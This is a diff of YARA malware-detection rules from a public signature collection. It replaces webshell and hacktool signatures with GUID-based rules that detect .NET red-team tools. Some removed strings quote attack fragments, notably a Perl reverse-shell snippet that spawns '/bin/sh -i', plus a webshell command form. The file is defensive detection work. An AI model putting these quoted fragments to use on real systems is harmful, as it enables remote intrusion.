-		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtfsChk"
-		$s1 = "Failure ... Access is Denied !"
-		$s2 = "NTFS Disk Driver Checking Service"
-		$s3 = "Dumping Description to Registry..."
-		$s4 = "Opening Service .... Failure !"
+		$typelibguid0lo = "d5688068-fc89-467d-913f-037a785caca7" ascii wide
+		$typelibguid0up = "D5688068-FC89-467D-913F-037A785CACA7" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Shelltools_G0T_Root_Fport
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Adsearch : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file Fport.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "664e7b19-4d0b-5062-97d2-0eb34869024d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7998-L8010"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dbb75488aa2fa22ba6950aead1ef30d5"
-		logic_hash = "b9dc66e249c0577839cc3748f129c343d2ccb7327b92a2a67e4467782d10a25e"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "399ea06d-b36a-542b-bccc-8e8f935a35c6"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/tomcarver16/ADSearch"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4555-L4569"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a35da6c6a396669928693b7d408f7d1021a7afc41dabfe521105254d69f23474"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "Copyright 2000 by Foundstone, Inc."
-		$s5 = "You must have administrator privileges to run fport - exiting..."
+		$typelibguid0lo = "4da5f1b7-8936-4413-91f7-57d6e072b4a7" ascii wide
+		$typelibguid0up = "4DA5F1B7-8936-4413-91F7-57D6E072B4A7" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Backdoor__Fr_
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Privilege_Escalation_Awesome_Scripts_Suite : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file BackDooR (fr).php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fd0c77e8-18b7-5eb4-8ed4-87ee4c864683"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8011-L8022"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a79cac2cf86e073a832aaf29a664f4be"
-		logic_hash = "6c16c200712015eed71aeb119e46bad5f93445a8f719d98ef31f9012cb3551ae"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "fa218dfa-4b56-5a62-b149-63394bd0b604"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4571-L4585"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a70cfe807cbba80e0bc79adcb7268b2c9b99c20c5f7454e2275712a1adbeb16c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "print(\"<p align=\\\"center\\\"><font size=\\\"5\\\">Exploit include "
+		$typelibguid0lo = "1928358e-a64b-493f-a741-ae8e3d029374" ascii wide
+		$typelibguid0up = "1928358E-A64B-493F-A741-AE8E3D029374" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Ntdaddy
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2020_1206_POC : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file ntdaddy.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b6b655b8-7bce-5fa5-97b7-a020a7e53f4f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8023-L8034"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f6262f3ad9f73b8d3e7d9ea5ec07a357"
-		logic_hash = "4df6f53ee9bfc0214e69dd858878026e962b90573ed48a5ffdd5523538e8f3bf"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d70472f3-b19f-5097-bd70-99a7e7812ac4"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/ZecOps/CVE-2020-1206-POC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4587-L4605"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2e6ae824a98945e75cb57ee64c6622aff498201b64b7a24424990e84406176a0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<input type=\"text\" name=\".CMD\" size=\"45\" value=\"<%= szCMD %>\"> <input type=\"s"
+		$typelibguid0lo = "3523ca04-a12d-4b40-8837-1a1d28ef96de" ascii wide
+		$typelibguid0up = "3523CA04-A12D-4B40-8837-1A1D28EF96DE" ascii wide
+		$typelibguid1lo = "d3a2f24a-ddc6-4548-9b3d-470e70dbcaab" ascii wide
+		$typelibguid1up = "D3A2F24A-DDC6-4548-9B3D-470E70DBCAAB" ascii wide
+		$typelibguid2lo = "fb30ee05-4a35-45f7-9a0a-829aec7e47d9" ascii wide
+		$typelibguid2up = "FB30EE05-4A35-45F7-9A0A-829AEC7E47D9" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Nstview_Nstview
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Dinvoke : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file nstview.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "00df601c-bddb-5da8-bef4-d2122419b5d0"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8035-L8046"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3871888a0c1ac4270104918231029a56"
-		logic_hash = "2b25e22d86a672af0b8957f1b0336ed80e09f3389f5045c230af2372db0e3415"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f3b0ef47-a92c-5c5d-a9e2-09579fcb438e"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/TheWover/DInvoke"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4607-L4621"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3fac2563205327a173814141c035c8be78d43d8409db34954ac6027b3039d7c0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "open STDIN,\\\"<&X\\\";open STDOUT,\\\">&X\\\";open STDERR,\\\">&X\\\";exec(\\\"/bin/sh -i\\\");"
+		$typelibguid0lo = "b77fdab5-207c-4cdb-b1aa-348505c54229" ascii wide
+		$typelibguid0up = "B77FDAB5-207C-4CDB-B1AA-348505C54229" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop_Devpack_Upload
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpchisel : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file upload.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "43054993-b0dd-5d2e-9890-db1f47759be5"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8047-L8058"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b09852bda534627949f0259828c967de"
-		logic_hash = "312020a72a37adb0111ac6d61810c8e476be39dc6456e80e83cd6a680e8ea051"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3b7e6703-ebe8-5a98-839f-7d0349ab483f"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/shantanu561993/SharpChisel"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4623-L4637"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9df151164aa269c13a79d862c15cc75bd0bb4668753f282149c162bd63ece471"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<!-- PageUpload Below -->"
+		$typelibguid0lo = "f5f21e2d-eb7e-4146-a7e1-371fd08d6762" ascii wide
+		$typelibguid0up = "F5F21E2D-EB7E-4146-A7E1-371FD08D6762" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Passwordreminder
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpscribbles : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file PasswordReminder.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "642033ee-4454-5913-8348-4d1579fc0bd8"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8059-L8070"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ea49d754dc609e8bfa4c0f95d14ef9bf"
-		logic_hash = "f3da5381f5e352c541654d2af918ca8cea8049d137078670dd0538a4d13f676e"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "47125b76-9388-5372-8810-d198f623367a"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/V1V1/SharpScribbles"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4639-L4655"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7b592dc541b708e001f2576d9eb412ecc52879d514149e9f211f6357faff92fc"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "The encoded password is found at 0x%8.8lx and has a length of %d."
+		$typelibguid0lo = "aa61a166-31ef-429d-a971-ca654cd18c3b" ascii wide
+		$typelibguid0up = "AA61A166-31EF-429D-A971-CA654CD18C3B" ascii wide
+		$typelibguid1lo = "0dc1b824-c6e7-4881-8788-35aecb34d227" ascii wide
+		$typelibguid1up = "0DC1B824-C6E7-4881-8788-35AECB34D227" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Pack_Injectt
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpreg : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file InjectT.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3a640c22-0cd4-5ab1-9216-c68625d7d505"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8071-L8086"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "983b74ccd57f6195a0584cdfb27d55e8"
-		logic_hash = "9f66b7b429ed585888c0fb4943bb12262247b3af8d85bc67309b27752171e66a"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d89b07b0-bb29-5c77-888b-322e439b4c82"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/jnqpblc/SharpReg"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4657-L4671"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dfe9189c215c090bc32dedfb0d01964409265a4da4e4f8c4a2ed9ee62b1c9b30"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "ail To Open Registry"
-		$s4 = "32fDssignim"
-		$s5 = "vide Internet S"
-		$s6 = "d]Software\\M"
-		$s7 = "TInject.Dll"
+		$typelibguid0lo = "8ef25b00-ed6a-4464-bdec-17281a4aa52f" ascii wide
+		$typelibguid0up = "8EF25B00-ED6A-4464-BDEC-17281A4AA52F" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Remexp_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Memevm : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file RemExp.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "501544d5-fe52-5933-8782-516ffe18f3ff"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8087-L8099"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b69670ecdbb40012c73686cd22696eeb"
-		logic_hash = "e31e25a7c2b2e970a379a61d2dac335bd37cac48328eee9f3966ff5c77ef6f18"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c98d84d5-4b0a-53df-b8d4-0b360930eb0c"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/TobitoFatitoRE/MemeVM"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4673-L4691"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7430b5d82012fc63459d97a21d93260ccda7ac8249bf4b56384e3b0ab6b5548a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = " Then Response.Write \""
-		$s3 = "<a href= \"<%=Request.ServerVariables(\"script_name\")%>"
+		$typelibguid0lo = "ef18f7f2-1f03-481c-98f9-4a18a2f12c11" ascii wide
+		$typelibguid0up = "EF18F7F2-1F03-481C-98F9-4A18A2F12C11" ascii wide
+		$typelibguid1lo = "77b2c83b-ca34-4738-9384-c52f0121647c" ascii wide
+		$typelibguid1up = "77B2C83B-CA34-4738-9384-C52F0121647C" ascii wide
+		$typelibguid2lo = "14d5d12e-9a32-4516-904e-df3393626317" ascii wide
+		$typelibguid2up = "14D5D12E-9A32-4516-904E-DF3393626317" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_C99
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdir : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file c99.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0b176370-a5ab-587a-b0e9-ef4fe5c604bd"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8100-L8111"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5f9ba02eb081bba2b2434c603af454d0"
-		logic_hash = "de769299bbd8b895b84db757fcc037b807f7caaa624c06e9d330934a968b2381"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f64ed564-d198-59e8-9abe-b2814b95c85f"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/jnqpblc/SharpDir"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4693-L4707"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "23eb7b88f9685457a6cdaa8161fcbc6ea60634a4f01c67a4a1307618a6f8fa14"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "\"txt\",\"conf\",\"bat\",\"sh\",\"js\",\"bak\",\"doc\",\"log\",\"sfc\",\"cfg\",\"htacce"
+		$typelibguid0lo = "c7a07532-12a3-4f6a-a342-161bb060b789" ascii wide
+		$typelibguid0up = "C7A07532-12A3-4F6A-A342-161BB060B789" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Rknt_Zip_Folder_Rknt
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Atyourservice : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file RkNT.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a58a3b33-8096-535a-b930-2eb71347edb8"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8112-L8129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5f97386dfde148942b7584aeb6512b85"
-		logic_hash = "59de8a40a7081ee5fbea9f413590237c1da9985f2352b32571529baf38c93ddb"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3077dd0c-6936-5340-8da9-e8643de4d864"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/mitchmoser/AtYourService"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4709-L4723"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3e473ebb7e01cdc2edb9a20ba5ace39fd69629fb04d83510bc7855696c9ae581"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "PathStripPathA"
-		$s1 = "`cLGet!Addr%"
-		$s2 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
-		$s3 = "oQToOemBuff* <="
-		$s4 = "ionCdunAsw[Us'"
-		$s6 = "CreateProcessW: %S"
-		$s7 = "ImageDirectoryEntryToData"
+		$typelibguid0lo = "bc72386f-8b4c-44de-99b7-b06a8de3ce3f" ascii wide
+		$typelibguid0up = "BC72386F-8B4C-44DE-99B7-B06A8DE3CE3F" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Dbgntboot
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Lockless : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file dbgntboot.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6b9381e6-597d-5e74-a318-9931d20a9d08"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8130-L8142"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4d87543d4d7f73c1529c9f8066b475ab"
-		logic_hash = "10f86f18aff4995928efb3c8000eca166fe37e6006de7938139cad718ff7653f"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f9b31f57-d721-5b6c-be63-b8309cba788a"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/GhostPack/LockLess"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4725-L4739"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b3f929e2a7ee7f3b82cafcffe89572e210ca817edeb261810b9a2191ba308c3d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "now DOS is working at mode %d,faketype %d,against %s,has worked %d minutes,by sp"
-		$s3 = "sth junk the M$ Wind0wZ retur"
+		$typelibguid0lo = "a91421cb-7909-4383-ba43-c2992bbbac22" ascii wide
+		$typelibguid0up = "A91421CB-7909-4383-BA43-C2992BBBAC22" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_PHP_Shell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Easynet : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "08dff4db-3b1c-5702-a8c9-efaedf83c4ff"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8143-L8155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "45e8a00567f8a34ab1cccc86b4bc74b9"
-		logic_hash = "a62061b2fa851f5798158198e26f188408f3f37dca69a85ca155777c0b8407ee"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8408a057-4910-5d7b-80bc-78df17c95bf7"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/TheWover/EasyNet"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4741-L4759"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e8502f3d178897f17cdaab0608b5605aeb9161c42779a9d9c1477a5663dd24a1"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "AR8iROET6mMnrqTpC6W1Kp/DsTgxNby9H1xhiswfwgoAtED0y6wEXTihoAtICkIX6L1+vTUYWuWz"
-		$s11 = "1HLp1qnlCyl5gko8rDlWHqf8/JoPKvGwEm9Q4nVKvEh0b0PKle3zeFiJNyjxOiVepMSpflJkPv5s"
+		$typelibguid0lo = "3097d856-25c2-42c9-8d59-2cdad8e8ea12" ascii wide
+		$typelibguid0up = "3097D856-25C2-42C9-8D59-2CDAD8E8EA12" ascii wide
+		$typelibguid1lo = "ba33f716-91e0-4cf7-b9bd-b4d558f9a173" ascii wide
+		$typelibguid1up = "BA33F716-91E0-4CF7-B9BD-B4D558F9A173" ascii wide
+		$typelibguid2lo = "37d6dd3f-5457-4d8b-a2e1-c7b156b176e5" ascii wide
+		$typelibguid2up = "37D6DD3F-5457-4D8B-A2E1-C7B156B176E5" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hxdef100
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpbyebear : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file hxdef100.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fb376c18-02d2-5866-a0e2-ccb5262091dd"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8156-L8169"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "55cc1769cef44910bd91b7b73dee1f6c"
-		logic_hash = "a2002dcddad7ffdbe9614723163016f9357347bb704640d3933ce4513c37d474"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "4a7f2514-2519-5fd5-9d17-110a67f829e7"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/S3cur3Th1sSh1t/SharpByeBear"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4761-L4777"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c6d9fd33dd8d7bddd9e80e3c0106f0cab13f0952bb8269a10df147c06a5bd7ba"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
